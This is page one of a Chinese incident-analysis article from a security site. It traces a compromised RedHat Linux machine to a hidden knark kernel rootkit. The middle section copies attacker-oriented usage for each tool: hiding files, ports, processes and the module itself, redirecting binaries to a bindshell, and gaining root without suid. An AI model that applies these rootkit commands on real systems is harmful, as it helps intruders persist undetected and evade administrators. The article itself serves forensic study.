| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 系统安全首页 | 漏洞分析 | 入侵检测 | 升级补丁 | 安全配置 |
入侵分析
入侵分析
作者:未知 文章来源:互联网 点击数: 更新时间:2007-9-9 1:02:14

一、意外 

时间:2001-3-11下午 
地点:某台RedHat Linux机器: 
#uname -a 
Linux *.*.cn.net 2.2.5-15 #1 Mon Apr 19 23:00:46 EDT 1999 i686 unknown 
俺习惯性地先进到/etc/rc.d/init.d,看了一下,马上发现异状: 
#ls -la 
…… 
-rwxr-xr-x 1 root root 2775 Mar 26 1999 netfs 
-rwxr-xr-x 1 root root 5537 Mar 3 21:23 network 
-rwxr-xr-x 1 root root 2408 Apr 16 1999 nfs 
…… 

二、初步检查 

明显是个新手干的嘛,network文件被人动过了,咱们用stat命令看看先: 

#stat network 
File: "network" 
Size: 5537 Filetype: Regular File 
Mode: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root) 
Device: 3,1 Inode: 269454 Links: 1 
Access: Sun Mar 11 10:59:59 2001(00000.05:53:41) 
Modify: Sun Mar 4 05:23:41 2001(00007.11:29:59) 
Change: Sun Mar 4 05:23:41 2001(00007.11:29:59) 

最后被人改动的时间是3月4号的凌晨。让我们来看看他往文件里加了什么吧: 

#cat network 
…… 
/usr/lib/libdd.so.1 

就是这么一句,加在文件末尾,看来的确是手段不甚高明。瞧瞧这是个什么文件先 

#file /usr/lib/libdd.so.1 
/usr/lib/libdd.so.1: ELF 32-bit LSB executable, Intel 80386, version 1, dynamically linked (uses shared libs), not stripped 

哦,是个二进制的可执行文件,执行下strings看是否眼熟 :) 

#strings /usr/lib/libdd.so.1 
/lib/ld-linux.so.2 
__gmon_start__ 
libc.so.6 
system 
__deregister_frame_info 
_IO_stdin_used 
__libc_start_main 
__register_frame_info 
GLIBC_2.0 
PTRh 
/boot/.pty0/go.sh <--------这条信息看上去比较有趣 

哦,这就简单了嘛,俺看看这里面的路径: 

#cd /boot/.pty0 
#cat go.sh 
#!/bin/bash 
f=`ls -al /boot | grep .pty0` 
if [ -n "$f" ]; then 
cd /boot/.pty0 
./mcd -q 
cd mech1 
./mech -f conf 1>/dev/null 2>/dev/null 
cd .. 
cd mech2 
./mech -f conf 1>/dev/null 2>/dev/null 
cd .. 
cd mech3 
./mech -f conf 1>/dev/null 2>/dev/null 
cd .. 

/sbin/insmod paraport.o 1>/dev/null 2>/dev/null 
/sbin/insmod iBCS.o 1>/dev/null 2>/dev/null 
./ascunde.sh 
fi 
有点晕,看不明白mcd、mech这些东西是干嘛用的,再看一下下一个脚本是什么: 
#cat ascunde.sh 

#!/bin/bash 
for proces in `/bin/cat /boot/.pty0/hdm`; do 
P=`/sbin/pidof $proces` 
if [ -n "$P" ]; then 
killall -31 $proces 1>/dev/hdm 2>/dev/hdm 
fi 
done 
for port in `/bin/cat /boot/.pty0/hdm1`; do 
./nethide `./dec2hex $port` 1>/dev/hdm 2>/dev/hdm 
done 
for director in `/bin/cat /boot/.pty0/hdm2`; do 
./hidef $director 1>/dev/hdm 2>/dev/hdm 
done 

看到这里,事情开始有趣了,这似乎不是一个三流的script kiddle干的活嘛,打个包拖回来先,于是俺 

#cd /boot 
#ls -la 
total 2265 
drwxr-xr-x 3 root root 1024 Mar 11 03:01 . 
drwxr-xr-x 21 root root 1024 Mar 2 03:37 .. 
lrwxrwxrwx 1 root root 19 Sep 26 1999 System.map -> System.map-2.2.5-15 
-rw-r--r-- 1 root root 186704 Apr 20 1999 System.map-2.2.5-15 
-rw-r--r-- 1 root root 512 Sep 26 1999 boot.0300 
-rw-r--r-- 1 root root 4544 Apr 13 1999 boot.b 
-rw-r--r-- 1 root root 612 Apr 13 1999 chain.b 
-rw------- 1 root root 9728 Sep 26 1999 map 
lrwxrwxrwx 1 root root 20 Sep 26 1999 module-info -> module-info-2.2.5-15 
-rw-r--r-- 1 root root 11773 Apr 20 1999 module-info-2.2.5-15 
-rw-r--r-- 1 root root 620 Apr 13 1999 os2_d.b 
-rwxr-xr-x 1 root root 1469282 Apr 20 1999 vmlinux-2.2.5-15 
lrwxrwxrwx 1 root root 16 Sep 26 1999 vmlinuz -> vmlinuz-2.2.5-15 
-rw-r--r-- 1 root root 617288 Apr 20 1999 vmlinuz-2.2.5-15 

咦,事情更有趣了……居然没有看到.pty0的目录 

#cd .pty0 
#ls -laF 
total 1228 
drwxr-xr-x 3 root root 1024 Mar 11 03:01 ../ 
-rwxr-xr-x 1 root root 345 Mar 3 21:23 ascunde.sh* 
-rwxr-xr-x 1 root root 12760 Mar 3 21:23 dec2hex* 
-rwxr-xr-x 1 root root 13414 Mar 3 21:23 ered* 
-rwxr-xr-x 1 root root 358 Mar 7 19:03 go.sh* 
-rwxr-xr-x 1 root root 3872 Mar 3 21:23 hidef* 
-rw-r--r-- 1 root root 956 Mar 3 21:23 iBCS.o 
-rw-r--r-- 1 root root 524107 Mar 7 18:40 m.tgz 
-rwxr-xr-x 1 root root 656111 Mar 3 21:23 mcd* 
drwxr-xr-x 4 root root 1024 Mar 7 19:00 mech1/ 
drwxr-xr-x 4 root root 1024 Mar 9 19:50 mech2/ 
drwxr-xr-x 4 root root 1024 Mar 9 19:20 mech3/ 
-rwxr-xr-x 1 root root 12890 Mar 3 21:23 nethide* 
-rw-r--r-- 1 root root 10948 Mar 3 21:23 paraport.o 
-rw-r--r-- 1 root root 522 Mar 3 21:23 ssh_host_key 
-rw------- 1 root root 512 Mar 11 04:16 ssh_random_seed 
-rw-r--r-- 1 root root 677 Mar 3 21:23 sshd_config 

看来是加载了某个lkm了,比较讨厌。 

#/sbin/lsmod 
Module Size Used by 
nfsd 150936 8 (autoclean) 
lockd 30856 1 (autoclean) [nfsd] 
sunrpc 52356 1 (autoclean) [nfsd lockd] 
3c59x 18920 1 (autoclean) 

这些是正常的lkm么?前三个模块跟rpc有关,不知开了哪些rpc服务 

#/usr/sbin/rpcinfo -p localhost 
program vers proto port 
100000 2 tcp 111 rpcbind 
100024 1 tcp 664 status 
100011 1 udp 673 rquotad 
100005 3 tcp 695 mountd 
100003 2 udp 2049 nfs 
100021 3 tcp 1024 nlockmgr 

原来如此,难怪会被入侵,该开的全开了。不过也证明了nfsd,lockd,sunrpc这三个模块没问题了。 
再来看看网卡吧,3c59x是网卡的驱动模块。 

#/sbin/ifconfig -a 
/sbin/ifconfig -a 
lo Link encap:Local Loopback 
inet addr:127.0.0.1 Bcast:127.255.255.255 Mask:255.0.0.0 
UP LOOPBACK RUNNING MTU:3924 Metric:1 
RX packets:380640 errors:3374 dropped:0 overruns:0 
TX packets:0 errors:0 dropped:0 overruns:380640 

eth0 Link encap:10Mbps Ethernet HWaddr 00:10:5A:63:5B:05 
inet addr:*.*.*.* Bcast:*.*.*.255 Mask:255.255.255.0 
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 
RX packets:71144611 errors:820101 dropped:0 overruns:0 
TX packets:0 errors:0 dropped:0 overruns:436037129 
Interrupt:10 Base address:0xe400 

#dmesg|grep eth0 
eth0: 3Com 3c905B Cyclone 100baseTx at 0xe400, 00:10:5a:63:5b:05, IRQ 10 
eth0: Setting promiscuous mode. 
device eth0 entered promiscuous mode 

看来这些模块都是正常的,但比较狠的就是——device eth0 entered promiscuous mode——看来这入侵者架了sniffer 
开听了,但关键是现在这个入侵者加载了个俺看不到的家伙,有些晕了……咦,对了,看看文件名先…… 

三、模块介绍 

nethide?似乎有点印象……好吧,到俺的一堆破烂里找找……咦,找到一篇knark hacking的文章,里面有提到nethide, 
先当下一个来玩玩吧,有个版本号为knark-0.59的,是对Linux Kernel 2.2的,行……咱们先看看这是什么样的内核模块: 

除了taskhack.c之处,所有这些文件都是基于knark.o模块的正确加载。 

hidef 用来隐藏你的文件或者目录,你可以建立一个目录,比如/boot/.pty0,然后键入 
./hidef /boot/.pty0于是这这个目录便被隐藏起来,并且连du之类的命令也不能 
找出它来,同样的,子目录下的任何文件也一样地被藏得天衣无缝 :) 

ered 用来重定向执行某个程序,比如说,你把一个bindshell的程序拷到/boot/.pty0/bindshell, 
然后可以用./ered /bin/ls /boot/.pty0/bindshell这样的命令,将ls重定向到bindshell, 
当然,这样的话,ls是没变,但已经不能正确执行了。如果要清除所有的命令重定向,可以 
键入./ered -c 

nethide 用来隐藏/proc/net/tcp及/proc/net/udp里的连接进程——netstat就是从这里面获取信息并 
输出的,比如你要隐藏端口43981的连接信息,你必须键入: 
./nethide ":ABCD " 
你就可以象grep -v一样,过滤掉你不想让人看到的网络连接信息了,比如你用: 
netstat -at 
可能会有一行连接(ssh)的记录是这样的: 
Proto Recv-Q Send-Q Local Address Foreign Address State 
tcp 0 0 localhost:ssh localhost:1023 ESTABLISHED 
我们来看看/proc/net/tcp里面的情况如何: 
cat /proc/net/tcp 
其中相应的行应该是这样的: 
local_address rem_address blablabla... 
0:0100007F:0016 0100007F:03FF 01 00000000:00000000 00:00000000 00000000 
如果我们想隐藏关于127.0.0.1这个IP地址的所有信息,首先就必须把它“翻译”成这种格式,127用 
十六进制表示是7F,0是00,1是01,于是地址就是0100007F,然后,再跟上端口22是0016,就是: 
0100007F:0016了,于是我们键入: 
./nethide "0100007F:0016" 便可以将其隐藏得很漂亮了。 

rootme 利用这个家伙,你可以不需要suid位,就能拿到root的权限喽: 
./rootme /bin/sh 
你也可以用这种方式来运行: 
./rootme /bin/ls -l /root 
这里必须注意,要输入完整的路径名。 


taskhack 可以改变运行着的进程的uid,euid,gid,egid等。 
./taskhack -alluid=0 pid 
这可以把该进程所有的*uid(uid, euid, suid, fsuid)都改成0 
你用: 
ps aux | grep bash 
creed 91 0.0 1.3 1424 824 1 S 15:31 0:00 -bash 

rexec 远程执行命令,比如: 
./rexec www.microsoft.com haxored.server.nu /bin/touch /LUDER 


knark还有一些其它的特性: 
将信号31发送给某个进程,能够在/proc里将进程文件隐藏起来,这样ps及top 
都无法看到,比如: 
#kill -31 pid 
如果这个进程还有它的子进程,那么也将一同被隐藏起来,所以如果你把你的shell 
隐藏掉的话,所有你键入的进程将都是不可见的。如果你想再看看,被隐藏起来的进 
程藏在什么地方的话,可以看/proc/knark/pids文件,这里列出所有隐藏的家伙;) 

闯入一个系统中,sniffer总是入侵者们用来扩大战果的玩意儿,现在也存在许多小工具 
能够侦测到网卡是否被置于混杂模式,但如果你加载了这个模块,当人们在查询SIOCGIFFLAGS 
的标志位时,IFF_PROMISC——接口为随机(promiscuous)模式总是会被隐藏的。 

这个包中还带有另一个小工具modhide,这个模块加载后,可以将最后加载至系统中的模块从 
模块列表里移除——也就是/proc/module里面看不到它,示例如下: 
#/sbin/insmod knark.o 
#/sbin/lsmod | grep knark 
knark 6640 0 (unused) 
#/sbin/insmod modhide.o 
#lsmod | grep knark 
啥也没有了 ;) 

最重要的是,我们可以在/proc/knark/目录——当然也是隐藏的——下面找到所有被藏起来的东西的资料。 

四、分析 

我们可以试着看看: 

#cd /proc/knark/ 
#cat files 
HIDDEN FILES&n

[1] [2] 下一页

文章录入:郝丽    责任编辑:郝丽 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    没有相关文章
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有